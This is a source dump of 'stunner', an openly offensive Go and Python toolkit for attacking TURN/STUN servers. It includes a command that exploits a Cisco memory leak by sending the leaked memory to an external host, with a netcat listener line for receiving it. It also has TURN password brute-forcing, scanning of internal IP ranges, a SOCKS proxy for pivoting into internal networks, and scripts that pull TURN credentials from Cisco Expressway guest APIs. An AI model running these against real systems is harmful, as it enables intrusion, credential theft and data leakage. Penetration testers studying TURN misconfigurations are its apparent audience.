the 48 | request due to some capacity limit being reached. In an Allocate 49 | response, this could be due to the server having no more relayed 50 | transport addresses available at that time, having none with the 51 | requested properties, or the one that corresponds to the specified 52 | reservation token is not available. 53 | */ 54 | 55 | const ( 56 | MsgTypeMethodAllocate MessageTypeMethod = 0x03 57 | MsgTypeMethodRefresh MessageTypeMethod = 0x04 58 | MsgTypeMethodSend MessageTypeMethod = 0x06 59 | MsgTypeMethodDataInd MessageTypeMethod = 0x07 60 | MsgTypeMethodCreatePermission MessageTypeMethod = 0x08 61 | MsgTypeMethodChannelbind MessageTypeMethod = 0x09 62 | ) 63 | 64 | var turnMsgTypeMethodNames = map[MessageTypeMethod]string{ 65 | MsgTypeMethodAllocate: "Allocate", 66 | MsgTypeMethodRefresh: "Refresh", 67 | MsgTypeMethodChannelbind: "Channel-Bind", 68 | MsgTypeMethodCreatePermission: "CreatePermission", 69 | MsgTypeMethodSend: "Send", 70 | MsgTypeMethodDataInd: "Data", 71 | } 72 | 73 | const ( 74 | AttrChannelNumber AttributeType = 0x000c 75 | AttrLifetime AttributeType = 0x000d 76 | AttrBandwidth AttributeType = 0x0010 77 | AttrXorPeerAddress AttributeType = 0x0012 78 | AttrData AttributeType = 0x0013 79 | AttrXorRelayedAddress AttributeType = 0x0016 80 | AttrEvenPort AttributeType = 0x0018 81 | AttrRequestedTransport AttributeType = 0x0019 82 | AttrDontFragment AttributeType = 0x001a 83 | AttrTimerVal AttributeType = 0x0021 84 | AttrReservationToken AttributeType = 0x0022 85 | ) 86 | 87 | var turnAttrNames = map[AttributeType]string{ 88 | AttrChannelNumber: "CHANNEL-NUMBER", 89 | AttrLifetime: "LIFETIME", 90 | AttrBandwidth: "BANDWIDTH", 91 | AttrXorPeerAddress: "XOR-PEER-ADDRESS", 92 | AttrData: "DATA", 93 | AttrXorRelayedAddress: "XOR-RELAYED-ADDRESS", 94 | AttrEvenPort: "EVEN-PORT", 95 | AttrRequestedTransport: "REQUESTED-TRANSPORT", 96 | AttrDontFragment: "DONT-FRAGMENT", 97 | AttrTimerVal: "TIMER-VAL", 98 | AttrReservationToken: "RESERVATION-TOKEN", 99 | } 100 | 101 | const ( 102 | ErrorForbidden ErrorCode = 403 103 | ErrorAllocationMismatch ErrorCode = 437 104 | ErrorWrongCredentials ErrorCode = 441 105 | ErrorUnsupportedTransportProtocol ErrorCode = 442 106 | ErrorAllocationQuotaReached ErrorCode = 486 107 | ErrorInsufficientCapacity ErrorCode = 508 108 | ) 109 | 110 | var TurnErrorNames = map[ErrorCode]string{ 111 | ErrorForbidden: "Forbidden", 112 | ErrorAllocationMismatch: "Allocation Mismatch", 113 | ErrorWrongCredentials: "Wrong Credentials", 114 | ErrorUnsupportedTransportProtocol: "Unsupported Transport Protocol", 115 | ErrorAllocationQuotaReached: "Allocation Quota Reached", 116 | ErrorInsufficientCapacity: "Insufficient Capacity", 117 | } 118 | 119 | type AllocateProtocol byte 120 | 121 | const ( 122 | AllocateProtocolIgnore AllocateProtocol = 0x00 // only used internally, not part of the spec 123 | AllocateProtocolIPv4 AllocateProtocol = 0x01 124 | AllocateProtocolIPv6 AllocateProtocol = 0x02 125 | ) 126 | 127 | var allocateProtocolNames = map[AllocateProtocol]string{ 128 | AllocateProtocolIgnore: "None", // only used internally, not part of the spec 129 | AllocateProtocolIPv4: "IPv4", 130 | AllocateProtocolIPv6: "IPv6", 131 | } 132 | -------------------------------------------------------------------------------- /internal/types_turntcp.go: -------------------------------------------------------------------------------- 1 | package internal 2 | 3 | const ( 4 | // MsgTypeMethodConnect https://tools.ietf.org/html/rfc6062#section-6.1 5 | MsgTypeMethodConnect MessageTypeMethod = 0x0a 6 | // MsgTypeMethodConnectionBind https://tools.ietf.org/html/rfc6062#section-6.1 7 | MsgTypeMethodConnectionBind MessageTypeMethod = 0x0b 8 | // MsgTypeMethodConnectionAttempt https://tools.ietf.org/html/rfc6062#section-6.1 9 | MsgTypeMethodConnectionAttempt MessageTypeMethod = 0x0c 10 | ) 11 | 12 | var turnTCPMsgTypeMethodNames = map[MessageTypeMethod]string{ 13 | MsgTypeMethodConnect: "Connect", 14 | MsgTypeMethodConnectionBind: "ConnectionBind", 15 | MsgTypeMethodConnectionAttempt: "ConnectionAttempt", 16 | } 17 | 18 | const ( 19 | // AttrConnectionID https://tools.ietf.org/html/rfc6062#section-6.2.1 20 | AttrConnectionID AttributeType = 0x002a 21 | ) 22 | 23 | var turnTCPAttrNames = map[AttributeType]string{ 24 | AttrConnectionID: "CONNECTION-ID", 25 | } 26 | 27 | const ( 28 | // ErrorConnectionAlreadyExists https://tools.ietf.org/html/rfc6062#section-6.3 29 | ErrorConnectionAlreadyExists ErrorCode = 446 30 | // ErrorConnectionTimeoutOrFailure https://tools.ietf.org/html/rfc6062#section-6.3 31 | ErrorConnectionTimeoutOrFailure ErrorCode = 447 32 | ) 33 | 34 | var TurnTCPErrorNames = map[ErrorCode]string{ 35 | ErrorConnectionAlreadyExists: "Connection Already Exists", 36 | ErrorConnectionTimeoutOrFailure: "Connection Timeout or Failure", 37 | } 38 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | // https://hackerone.com/reports/333419 2 | // https://www.immunit.ch/en/blog/2018/06/12/vulnerability-disclosure-cisco-meeting-server-arbitrary-tcp-relaying-2/ 3 | // https://github.com/wireshark/wireshark/blob/245086eb8382bca3c134a4fd7507c185246127e2/epan/dissectors/packet-stun.c 4 | // https://www.rtcsec.com/2020/04/01-slack-webrtc-turn-compromise/ 5 | 6 | // STUN: https://datatracker.ietf.org/doc/html/rfc5389 7 | // TURN: https://datatracker.ietf.org/doc/html/rfc5766 8 | // TURN for TCP: https://datatracker.ietf.org/doc/html/rfc6062 9 | // TURN Extension for IPv6: https://datatracker.ietf.org/doc/html/rfc6156 10 | 11 | // https://blog.addpipe.com/troubleshooting-webrtc-connection-issues/ 12 | 13 | package main 14 | 15 | import ( 16 | "fmt" 17 | "net" 18 | "net/netip" 19 | "os" 20 | "runtime/debug" 21 | "strconv" 22 | "strings" 23 | "time" 24 | 25 | "github.com/firefart/stunner/internal/cmd" 26 | "github.com/sirupsen/logrus" 27 | 28 | "github.com/urfave/cli/v2" 29 | ) 30 | 31 | func main() { 32 | log := logrus.New() 33 | log.SetOutput(os.Stdout) 34 | log.SetLevel(logrus.InfoLevel) 35 | 36 | app := &cli.App{ 37 | Name: "stunner", 38 | Usage: "test turn servers for misconfigurations", 39 | Authors: []*cli.Author{ 40 | { 41 | Name: "Christian Mehlmauer", 42 | Email: "firefart@gmail.com", 43 | }, 44 | }, 45 | Copyright: "This work is licensed under the Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License. To view a copy of this license, visit http://creativecommons.org/licenses/by-nc-sa/4.0/ or send a letter to Creative Commons, PO Box 1866, Mountain View, CA 94042, USA.", 46 | Commands: []*cli.Command{ 47 | { 48 | Name: "info", 49 | Usage: "Prints out some info about the server", 50 | Description: "This command tries to establish a connection and prints out some gathered information", 51 | Flags: []cli.Flag{ 52 | &cli.BoolFlag{Name: "debug", Aliases: []string{"d"}, Value: false, Usage: "enable debug output"}, 53 | &cli.StringFlag{Name: "turnserver", Aliases: []string{"s"}, Required: true, Usage: "turn server to connect to in the format host:port"}, 54 | &cli.BoolFlag{Name: "tls", Value: false, Usage: "Use TLS/DTLS on connecting to the STUN or TURN server"}, 55 | &cli.StringFlag{Name: "protocol", Value: "udp", Usage: "protocol to use when connecting to the TURN server. Supported values: tcp and udp"}, 56 | &cli.DurationFlag{Name: "timeout", Value: 2 * time.Second, Usage: "connect timeout to turn server"}, 57 | }, 58 | Before: func(ctx *cli.Context) error { 59 | if ctx.Bool("debug") { 60 | log.SetLevel(logrus.DebugLevel) 61 | } 62 | return nil 63 | }, 64 | Action: func(c *cli.Context) error { 65 | turnServer := c.String("turnserver") 66 | useTLS := c.Bool("tls") 67 | protocol := c.String("protocol") 68 | timeout := c.Duration("timeout") 69 | return cmd.Info(c.Context, cmd.InfoOpts{ 70 | TurnServer: turnServer, 71 | UseTLS: useTLS, 72 | Protocol: protocol, 73 | Log: log, 74 | Timeout: timeout, 75 | }) 76 | }, 77 | }, 78 | { 79 | Name: "brute-transports", 80 | Usage: "This command bruteforces all available transports", 81 | Description: "This command bruteforces all available transports on the STUN protocol." + 82 | "This can be used to identify interesting non default transports. Transports" + 83 | "are basically protocols that the STUN/TURN server can speak to the internal" + 84 | "systems. This normally only yields tcp and udp.", 85 | Flags: []cli.Flag{ 86 | &cli.BoolFlag{Name: "debug", Aliases: []string{"d"}, Value: false, Usage: "enable debug output"}, 87 | &cli.StringFlag{Name: "turnserver", Aliases: []string{"s"}, Required: true, Usage: "turn server to connect to in the format host:port"}, 88 | &cli.BoolFlag{Name: "tls", Value: false, Usage: "Use TLS/DTLS on connecting to the STUN or TURN server"}, 89 | &cli.StringFlag{Name: "protocol", Value: "udp", Usage: "protocol to use when connecting to the TURN server. Supported values: tcp and udp"}, 90 | &cli.DurationFlag{Name: "timeout", Value: 2 * time.Second, Usage: "connect timeout to turn server"}, 91 | &cli.StringFlag{Name: "username", Aliases: []string{"u"}, Required: true, Usage: "username for the turn server"}, 92 | &cli.StringFlag{Name: "password", Aliases: []string{"p"}, Required: true, Usage: "password for the turn server"}, 93 | }, 94 | Before: func(ctx *cli.Context) error { 95 | if ctx.Bool("debug") { 96 | log.SetLevel(logrus.DebugLevel) 97 | } 98 | return nil 99 | }, 100 | Action: func(c *cli.Context) error { 101 | turnServer := c.String("turnserver") 102 | useTLS := c.Bool("tls") 103 | protocol := c.String("protocol") 104 | timeout := c.Duration("timeout") 105 | username := c.String("username") 106 | password := c.String("password") 107 | return cmd.BruteTransports(c.Context, cmd.BruteTransportOpts{ 108 | TurnServer: turnServer, 109 | UseTLS: useTLS, 110 | Protocol: protocol, 111 | Log: log, 112 | Timeout: timeout, 113 | Username: username, 114 | Password: password, 115 | }) 116 | }, 117 | }, 118 | { 119 | Name: "brute-password", 120 | Usage: "This command tries all passwords from a given file for a username via the TURN protocol.", 121 | Description: "This command tries all passwords from a given file for a username via the TURN protocol (UDP)." + 122 | "This can be useful when analysing a pcap where you can see the username but not the password." + 123 | "Please note that an offline bruteforce is much more faster in this case.", 124 | Flags: []cli.Flag{ 125 | &cli.BoolFlag{Name: "debug", Aliases: []string{"d"}, Value: false, Usage: "enable debug output"}, 126 | &cli.StringFlag{Name: "turnserver", Aliases: []string{"s"}, Required: true, Usage: "turn server to connect to in the format host:port"}, 127 | &cli.BoolFlag{Name: "tls", Value: false, Usage: "Use TLS/DTLS on connecting to the STUN or TURN server"}, 128 | &cli.StringFlag{Name: "protocol", Value: "udp", Usage: "protocol to use when connecting to the TURN server. Supported values: tcp and udp"}, 129 | &cli.DurationFlag{Name: "timeout", Value: 5 * time.Second, Usage: "connect timeout to turn server"}, 130 | &cli.StringFlag{Name: "username", Aliases: []string{"u"}, Required: true, Usage: "username for the turn server"}, 131 | &cli.StringFlag{Name: "passfile", Aliases: []string{"p"}, Required: true, Usage: "passwordfile to use for bruteforce"}, 132 | }, 133 | Before: func(ctx *cli.Context) error { 134 | if ctx.Bool("debug") { 135 | log.SetLevel(logrus.DebugLevel) 136 | } 137 | return nil 138 | }, 139 | Action: func(c *cli.Context) error { 140 | turnServer := c.String("turnserver") 141 | useTLS := c.Bool("tls") 142 | protocol := c.String("protocol") 143 | timeout := c.Duration("timeout") 144 | username := c.String("username") 145 | passwordFile := c.String("passfile") 146 | return cmd.BruteForce(c.Context, cmd.BruteforceOpts{ 147 | TurnServer: turnServer, 148 | UseTLS: useTLS, 149 | Protocol: protocol, 150 | Log: log, 151 | Timeout: timeout, 152 | Username: username, 153 | Passfile: passwordFile, 154 | }) 155 | }, 156 | }, 157 | { 158 | Name: "memoryleak", 159 | Usage: "This command exploits a memory information leak in some cisco software", 160 | Description: "This command exploits a memory leak in a cisco software product." + 161 | "We use a misconfigured server that also relays UDP connections to external hosts to" + 162 | "receive the data. We send a TLV with an arbitrary length that is not checked server side" + 163 | "and so the server returns a bunch of memory to the external server where the traffic is" + 164 | "relayed to." + 165 | "To receive the data you need to run a listener on the external server to receive the data:" + 166 | "sudo nc -u -l -n -v -p 8080 | hexdump -C", 167 | Flags: []cli.Flag{ 168 | &cli.BoolFlag{Name: "debug", Aliases: []string{"d"}, Value: false, Usage: "enable debug output"}, 169 | &cli.StringFlag{Name: "turnserver", Aliases: []string{"s"}, Required: true, Usage: "turn server to connect to in the format host:port"}, 170 | &cli.BoolFlag{Name: "tls", Value: false, Usage: "Use TLS/DTLS on connecting to the STUN or TURN server"}, 171 | &cli.StringFlag{Name: "protocol", Value: "udp", Usage: "protocol to use when connecting to the TURN server. Supported values: tcp and udp"}, 172 | &cli.DurationFlag{Name: "timeout", Value: 2 * time.Second, Usage: "connect timeout to turn server"}, 173 | &cli.StringFlag{Name: "username", Aliases: []string{"u"}, Required: true, Usage: "username for the turn server"}, 174 | &cli.StringFlag{Name: "password", Aliases: []string{"p"}, Required: true, Usage: "password for the turn server"}, 175 | &cli.StringFlag{Name: "target", Aliases: []string{"t"}, Required: true, Usage: "Target to leak memory to in the form host:port. Should be a public server under your control"}, 176 | &cli.UintFlag{Name: "size", Value: 35510, Usage: "Size of the buffer to leak"}, 177 | }, 178 | Before: func(ctx *cli.Context) error { 179 | if ctx.Bool("debug") { 180 | log.SetLevel(logrus.DebugLevel) 181 | } 182 | return nil 183 | }, 184 | Action: func(c *cli.Context) error { 185 | turnServer := c.String("turnserver") 186 | useTLS := c.Bool("tls") 187 | protocol := c.String("protocol") 188 | timeout := c.Duration("timeout") 189 | username := c.String("username") 190 | password := c.String("password") 191 | 192 | targetString := c.String("target") 193 | if targetString == "" || !strings.Contains(targetString, ":") { 194 | return fmt.Errorf("please supply a valid target") 195 | } 196 | targetHost, port, err := net.SplitHostPort(targetString) 197 | if err != nil { 198 | return fmt.Errorf("please supply a valid target: %w", err) 199 | } 200 | targetIP, err := netip.ParseAddr(targetHost) 201 | if err != nil { 202 | return fmt.Errorf("target is no valid ip address: %w", err) 203 | } 204 | targetPort, err := strconv.ParseUint(port, 10, 16) 205 | if err != nil { 206 | return fmt.Errorf("error on parsing port: %w", err) 207 | } 208 | 209 | size := c.Uint("size") 210 | return cmd.MemoryLeak(c.Context, cmd.MemoryleakOpts{ 211 | TurnServer: turnServer, 212 | UseTLS: useTLS, 213 | Protocol: protocol, 214 | Log: log, 215 | Timeout: timeout, 216 | Username: username, 217 | Password: password, 218 | TargetHost: targetIP, 219 | TargetPort: uint16(targetPort), 220 | Size: uint16(size), 221 | }) 222 | }, 223 | }, 224 | { 225 | Name: "range-scan", 226 | Usage: "Scan if the TURN server allows connections to restricted network ranges", 227 | Description: "This command tries to establish a connection via the TURN protocol to predefined" + 228 | "network ranges. If these result in a success, the TURN implementation" + 229 | "might not filter private and restricted ranges correctly.", 230 | Flags: []cli.Flag{ 231 | &cli.BoolFlag{Name: "debug", Aliases: []string{"d"}, Value: false, Usage: "enable debug output"}, 232 | &cli.StringFlag{Name: "turnserver", Aliases: []string{"s"}, Required: true, Usage: "turn server to connect to in the format host:port"}, 233 | &cli.BoolFlag{Name: "tls", Value: false, Usage: "Use TLS/DTLS on connecting to the STUN or TURN server"}, 234 | &cli.StringFlag{Name: "protocol", Value: "udp", Usage: "protocol to use when connecting to the TURN server. Supported values: tcp and udp"}, 235 | &cli.DurationFlag{Name: "timeout", Value: 2 * time.Second, Usage: "connect timeout to turn server"}, 236 | &cli.StringFlag{Name: "username", Aliases: []string{"u"}, Required: true, Usage: "username for the turn server"}, 237 | &cli.StringFlag{Name: "password", Aliases: []string{"p"}, Required: true, Usage: "password for the turn server"}, 238 | }, 239 | Before: func(ctx *cli.Context) error { 240 | if ctx.Bool("debug") { 241 | log.SetLevel(logrus.DebugLevel) 242 | } 243 | return nil 244 | }, 245 | Action: func(c *cli.Context) error { 246 | turnServer := c.String("turnserver") 247 | useTLS := c.Bool("tls") 248 | protocol := c.String("protocol") 249 | timeout := c.Duration("timeout") 250 | username := c.String("username") 251 | password := c.String("password") 252 | return cmd.RangeScan(c.Context, cmd.RangeScanOpts{ 253 | TurnServer: turnServer, 254 | UseTLS: useTLS, 255 | Protocol: protocol, 256 | Log: log, 257 | Timeout: timeout, 258 | Username: username, 259 | Password: password, 260 | }) 261 | }, 262 | }, 263 | { 264 | Name: "socks", 265 | Usage: "This starts a socks5 server and relays TCP traffic via the TURN over TCP protocol", 266 | Description: "This starts a local socks5 server and relays only TCP traffic via the TURN over TCP protocol." + 267 | "This way you can access internal systems via TCP on the TURN servers network if it is misconfigured.", 268 | Flags: []cli.Flag{ 269 | &cli.BoolFlag{Name: "debug", Aliases: []string{"d"}, Value: false, Usage: "enable debug output"}, 270 | &cli.StringFlag{Name: "turnserver", Aliases: []string{"s"}, Required: true, Usage: "turn server to connect to in the format host:port"}, 271 | &cli.BoolFlag{Name: "tls", Value: false, Usage: "Use TLS/DTLS on connecting to the STUN or TURN server"}, 272 | &cli.StringFlag{Name: "protocol", Value: "udp", Usage: "protocol to use when connecting to the TURN server. Supported values: tcp and udp"}, 273 | &cli.DurationFlag{Name: "timeout", Value: 5 * time.Second, Usage: "connect timeout to turn server"}, 274 | &cli.StringFlag{Name: "username", Aliases: []string{"u"}, Required: true, Usage: "username for the turn server"}, 275 | &cli.StringFlag{Name: "password", Aliases: []string{"p"}, Required: true, Usage: "password for the turn server"}, 276 | &cli.StringFlag{Name: "listen", Aliases: []string{"l"}, Value: "127.0.0.1:1080", Usage: "Address and port to listen on"}, 277 | &cli.BoolFlag{Name: "drop-public", Aliases: []string{"x"}, Value: true, Usage: "Drop requests to public IPs. This is handy if the target can not connect to the internet and your browser want's to check TLS certificates via the connection."}, 278 | }, 279 | Before: func(ctx *cli.Context) error { 280 | if ctx.Bool("debug") { 281 | log.SetLevel(logrus.DebugLevel) 282 | } 283 | return nil 284 | }, 285 | Action: func(c *cli.Context) error { 286 | turnServer := c.String("turnserver") 287 | useTLS := c.Bool("tls") 288 | protocol := c.String("protocol") 289 | timeout := c.Duration("timeout") 290 | username := c.String("username") 291 | password := c.String("password") 292 | listen := c.String("listen") 293 | dropPublic := c.Bool("drop-public") 294 | return cmd.Socks(c.Context, cmd.SocksOpts{ 295 | TurnServer: turnServer, 296 | UseTLS: useTLS, 297 | Protocol: protocol, 298 | Log: log, 299 | Timeout: timeout, 300 | Username: username, 301 | Password: password, 302 | Listen: listen, 303 | DropPublic: dropPublic, 304 | }) 305 | }, 306 | }, 307 | { 308 | Name: "tcp-scanner", 309 | Usage: "Scans private IP ranges for snmp and dns ports", 310 | Description: "This command scans internal IPv4 ranges for http servers with the given ports.", 311 | Flags: []cli.Flag{ 312 | &cli.BoolFlag{Name: "debug", Aliases: []string{"d"}, Value: false, Usage: "enable debug output"}, 313 | &cli.StringFlag{Name: "turnserver", Aliases: []string{"s"}, Required: true, Usage: "turn server to connect to in the format host:port"}, 314 | &cli.BoolFlag{Name: "tls", Value: false, Usage: "Use TLS/DTLS on connecting to the STUN or TURN server"}, 315 | &cli.StringFlag{Name: "protocol", Value: "udp", Usage: "protocol to use when connecting to the TURN server. Supported values: tcp and udp"}, 316 | &cli.DurationFlag{Name: "timeout", Value: 5 * time.Second, Usage: "connect timeout to turn server"}, 317 | &cli.StringFlag{Name: "username", Aliases: []string{"u"}, Required: true, Usage: "username for the turn server"}, 318 | &cli.StringFlag{Name: "password", Aliases: []string{"p"}, Required: true, Usage: "password for the turn server"}, 319 | &cli.StringFlag{Name: "ports", Value: "80,443,8080,8081", Usage: "Ports to check"}, 320 | &cli.StringSliceFlag{Name: "ip", Usage: "Scan single IP instead of whole private range. If left empty all private ranges are scanned. Accepts single IPs or CIDR format."}, 321 | }, 322 | Before: func(ctx *cli.Context) error { 323 | if ctx.Bool("debug") { 324 | log.SetLevel(logrus.DebugLevel) 325 | } 326 | return nil 327 | }, 328 | Action: func(c *cli.Context) error { 329 | turnServer := c.String("turnserver") 330 | useTLS := c.Bool("tls") 331 | protocol := c.String("protocol") 332 | timeout := c.Duration("timeout") 333 | username := c.String("username") 334 | password := c.String("password") 335 | 336 | portsRaw := c.String("ports") 337 | ports := strings.Split(portsRaw, ",") 338 | 339 | ips := c.StringSlice("ip") 340 | 341 | return cmd.TCPScanner(c.Context, cmd.TCPScannerOpts{ 342 | TurnServer: turnServer, 343 | UseTLS: useTLS, 344 | Protocol: protocol, 345 | Log: log, 346 | Timeout: timeout, 347 | Username: username, 348 | Password: password, 349 | Ports: ports, 350 | IPs: ips, 351 | }) 352 | }, 353 | }, 354 | { 355 | Name: "udp-scanner", 356 | Usage: "Scans private IP ranges for snmp and dns", 357 | Description: "This command scans internal IPv4 ranges for open SNMP ports with the given" + 358 | "community string and for open DNS ports.", 359 | Flags: []cli.Flag{ 360 | &cli.BoolFlag{Name: "debug", Aliases: []string{"d"}, Value: false, Usage: "enable debug output"}, 361 | &cli.StringFlag{Name: "turnserver", Aliases: []string{"s"}, Required: true, Usage: "turn server to connect to in the format host:port"}, 362 | &cli.BoolFlag{Name: "tls", Value: false, Usage: "Use TLS/DTLS on connecting to the STUN or TURN server"}, 363 | &cli.StringFlag{Name: "protocol", Value: "udp", Usage: "protocol to use when connecting to the TURN server. Supported values: tcp and udp"}, 364 | &cli.DurationFlag{Name: "timeout", Value: 5 * time.Second, Usage: "connect timeout to turn server"}, 365 | &cli.StringFlag{Name: "username", Aliases: []string{"u"}, Required: true, Usage: "username for the turn server"}, 366 | &cli.StringFlag{Name: "password", Aliases: []string{"p"}, Required: true, Usage: "password for the turn server"}, 367 | &cli.StringFlag{Name: "community-string", Value: "public", Usage: "SNMP community string to use for scanning"}, 368 | &cli.StringFlag{Name: "domain", Required: true, Usage: "domain name to resolve on internal DNS servers during scanning"}, 369 | &cli.StringSliceFlag{Name: "ip", Usage: "Scan single IP instead of whole private range. If left empty all private ranges are scanned. Accepts single IPs or CIDR format."}, 370 | }, 371 | Before: func(ctx *cli.Context) error { 372 | if ctx.Bool("debug") { 373 | log.SetLevel(logrus.DebugLevel) 374 | } 375 | return nil 376 | }, 377 | Action: func(c *cli.Context) error { 378 | turnServer := c.String("turnserver") 379 | useTLS := c.Bool("tls") 380 | protocol := c.String("protocol") 381 | timeout := c.Duration("timeout") 382 | username := c.String("username") 383 | password := c.String("password") 384 | communityString := c.String("community-string") 385 | domain := c.String("domain") 386 | ips := c.StringSlice("ip") 387 | return cmd.UDPScanner(c.Context, cmd.UDPScannerOpts{ 388 | TurnServer: turnServer, 389 | UseTLS: useTLS, 390 | Protocol: protocol, 391 | Log: log, 392 | Timeout: timeout, 393 | Username: username, 394 | Password: password, 395 | CommunityString: communityString, 396 | DomainName: domain, 397 | IPs: ips, 398 | }) 399 | }, 400 | }, 401 | { 402 | Name: "version", 403 | Usage: "prints the current version and build infos", 404 | Description: "prints the current version and build infos", 405 | Action: func(ctx *cli.Context) error { 406 | info, ok := debug.ReadBuildInfo() 407 | if !ok { 408 | return fmt.Errorf("could not get buildinfo") 409 | } 410 | fmt.Printf("Build info:\n") 411 | fmt.Printf("%s", info) 412 | return nil 413 | }, 414 | }, 415 | }, 416 | } 417 | 418 | err := app.Run(os.Args) 419 | if err != nil { 420 | log.Fatal(err) 421 | } 422 | } 423 | -------------------------------------------------------------------------------- /scripts/expressway_get_creds.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | # pip3 install websocket-client requests 4 | 5 | import requests 6 | import sys 7 | from websocket import create_connection 8 | import argparse 9 | import ssl 10 | import json 11 | from urllib3.exceptions import InsecureRequestWarning 12 | 13 | requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) 14 | 15 | 16 | class Jabber(): 17 | 18 | proxies = { 19 | # "http": "http://localhost:8080", 20 | # "https": "http://localhost:8080", 21 | } 22 | 23 | def getCookies(self): 24 | cookie_dict = self.s.cookies.get_dict(domain=domain_no_scheme) 25 | found = ['%s=%s' % (name, value) 26 | for (name, value) in cookie_dict.items()] 27 | return ';'.join(found) 28 | 29 | def __init__(self): 30 | self.base = domain 31 | self.s = requests.Session() 32 | 33 | def csrf_header(self): 34 | if 'CMA-XSRF-TOKEN' in self.s.cookies: 35 | self.s.headers.update( 36 | {'CSRF-Token': self.s.cookies['CMA-XSRF-TOKEN']}) 37 | 38 | def get(self, url, params=None, header=None): 39 | self.csrf_header() 40 | resp = self.s.get(self.base + url, params=params, 41 | verify=False, proxies=self.proxies, headers=header) 42 | if resp is None: 43 | return None 44 | # print(resp.status_code) 45 | # print(resp.text) 46 | return resp.text 47 | 48 | def post_plain(self, url, data): 49 | self.csrf_header() 50 | resp = self.s.post(self.base + url, data=data, 51 | verify=False, proxies=self.proxies) 52 | if resp is None: 53 | return None 54 | # print(resp.status_code) 55 | # print(resp.text) 56 | return resp.text 57 | 58 | def post_json(self, url, json_in): 59 | self.csrf_header() 60 | resp = self.s.post(self.base + url, json=json_in, 61 | verify=False, proxies=self.proxies) 62 | if resp is None: 63 | return None 64 | 65 | try: 66 | j = resp.json() 67 | return j 68 | except json.decoder.JSONDecodeError: 69 | return resp.text 70 | 71 | 72 | parser = argparse.ArgumentParser(description='Get expressway credentials') 73 | parser.add_argument('--domain', dest='domain', type=str, required=True, 74 | help='the domain including the scheme ex https://example.com') 75 | parser.add_argument('--telephonenumber', dest='number', type=str, required=True, 76 | help='a valid telephone number on the server') 77 | 78 | args = parser.parse_args() 79 | domain = args.domain 80 | domain_no_scheme = domain.replace('http://', '').replace('https://', '') 81 | number = args.number 82 | 83 | j = Jabber() 84 | # get initial session 85 | resp = j.get('/') 86 | if resp is None: 87 | sys.exit() 88 | 89 | number = str(number) 90 | displayname = "⚠" 91 | 92 | data = {"numericId": number, "secret": None, "passcode": None} 93 | resp = j.post_json('/api/v1/search-guest-conference', data) 94 | if resp is None: 95 | sys.exit() 96 | 97 | if "token" not in resp: 98 | print(resp) 99 | sys.exit(1) 100 | 101 | token = resp["token"] 102 | 103 | data = {"numericId": number, "secret": None, "passcode": None, 104 | "displayName": displayname, "token": token} 105 | resp = j.post_json('/api/v1/guest-register', data) 106 | if resp is None: 107 | sys.exit() 108 | username = resp["username"] 109 | password = resp["password"] 110 | 111 | data = {"username": username, 112 | "password": password} 113 | resp = j.post_json('/api/v1/login', data) 114 | if resp is None: 115 | sys.exit() 116 | status = resp["result"] 117 | if status != "success": 118 | sys.exit() 119 | 120 | # debug output 121 | # resp = j.post_json('/api/v1/session/diagnostics', {'diagnostics': 'all'}) 122 | # print(resp) 123 | 124 | resp = j.get('/api/v1/streams') 125 | if resp is None: 126 | sys.exit() 127 | 128 | data = {"subscriptions": []} 129 | resp = j.post_json('/api/v1/streams', data) 130 | if resp is None: 131 | sys.exit() 132 | if status != "success": 133 | sys.exit() 134 | id = resp["id"] 135 | 136 | headers = {'Sec-WebSocket-Protocol': j.s.cookies['CMA-XSRF-TOKEN']} 137 | ws = create_connection( 138 | f"wss://{domain_no_scheme}/api/v1/streams/{id}/updates", 139 | cookie=j.getCookies(), 140 | header=headers, 141 | sslopt={"cert_reqs": ssl.CERT_NONE, "check_hostname": False}) 142 | ws.settimeout(2) 143 | recv_result = ws.recv() 144 | j = json.loads(recv_result) 145 | ws.close() 146 | print(j[0]['webRtcMediaConfiguration']) 147 | -------------------------------------------------------------------------------- /scripts/expressway_get_creds_new.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | # pip3 install requests 4 | 5 | import requests 6 | import sys 7 | import argparse 8 | from urllib3.exceptions import InsecureRequestWarning 9 | 10 | requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) 11 | 12 | parser = argparse.ArgumentParser(description='Get expressway credentials') 13 | parser.add_argument('--domain', dest='domain', type=str, required=True, 14 | help='the domain including the scheme ex https://example.com') 15 | parser.add_argument('--telephonenumber', dest='number', type=str, required=True, 16 | help='a valid telephone number on the server') 17 | 18 | args = parser.parse_args() 19 | domain = args.domain 20 | number = args.number 21 | 22 | j = requests.Session() 23 | # get initial session 24 | resp = j.get(f'{domain}/') 25 | if resp is None: 26 | sys.exit() 27 | 28 | number = str(number) 29 | displayname = "⚠" 30 | 31 | 32 | data = {"numericId": number, "passcode": ""} 33 | resp = j.post(f'{domain}/api/lookup', json=data) 34 | if resp is None: 35 | sys.exit() 36 | 37 | if resp.status_code == 400: 38 | print(resp.text) 39 | print("Invalid telephone number provided") 40 | sys.exit(1) 41 | 42 | data = {"numericId": number, "passcode": "", "trace": "false", 43 | "displayName": displayname, "userAgent": "stunner"} 44 | resp = j.post(f'{domain}/api/join', json=data) 45 | if resp is None: 46 | sys.exit() 47 | 48 | x = resp.json() 49 | 50 | for y in x["turnServers"]: 51 | print(y) 52 | --------------------------------------------------------------------------------